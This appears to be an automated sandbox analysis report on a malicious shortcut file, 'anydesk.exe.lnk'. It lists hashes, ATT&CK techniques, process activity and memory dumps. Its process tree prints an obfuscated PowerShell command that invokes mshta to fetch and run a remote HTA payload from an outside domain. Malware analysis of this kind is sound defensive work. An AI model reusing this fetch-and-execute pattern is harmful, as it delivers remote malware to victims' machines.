28cf80111581dd0915db20b2f446827507e4015149157bf869c8b7d9e82e18b9

Analysis

max time kernel
44s
max time network
50s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
30-11-2022 17:13

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General

Target

anydesk.exe.lnk
Size

1KB
MD5

69efba8911a9f53798360f03b92f2226
SHA1

2da3aa791c3683ba2a7d42e7b5cf2504a5a19518
SHA256

0c92738f0f59039085bb50f833a7a228fe217b01b53257db5b43f3f146400859
SHA512

9baab4dce364377d9263d88b7cf948230e9cb633b61bcd62b2355840cd5ffe4cb86c6afb6eead0ce121d8be1c0c95c22d1ae18543368f479272de29e90fc44d5

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1688 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1688 powershell.exe

pid	process
1688	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1688	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1368 wrote to memory of 1688	1368	cmd.exe	powershell.exe
PID 1368 wrote to memory of 1688	1368	cmd.exe	powershell.exe
PID 1368 wrote to memory of 1688	1368	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\anydesk.exe.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'https://zupermann.com/s/as.hta'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1688

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1368-54-0x000007FEFB641000-0x000007FEFB643000-memory.dmp

Filesize
8KB

Download
memory/1688-88-0x0000000000000000-mapping.dmp

Download
memory/1688-93-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmp

Filesize
10.1MB

Download
memory/1688-95-0x0000000002914000-0x0000000002917000-memory.dmp

Filesize
12KB

Download
memory/1688-94-0x000007FEF3090000-0x000007FEF3BED000-memory.dmp

Filesize
11.4MB

Download
memory/1688-97-0x000000000291B000-0x000000000293A000-memory.dmp

Filesize
124KB

Download
memory/1688-96-0x0000000002914000-0x0000000002917000-memory.dmp

Filesize
12KB

Download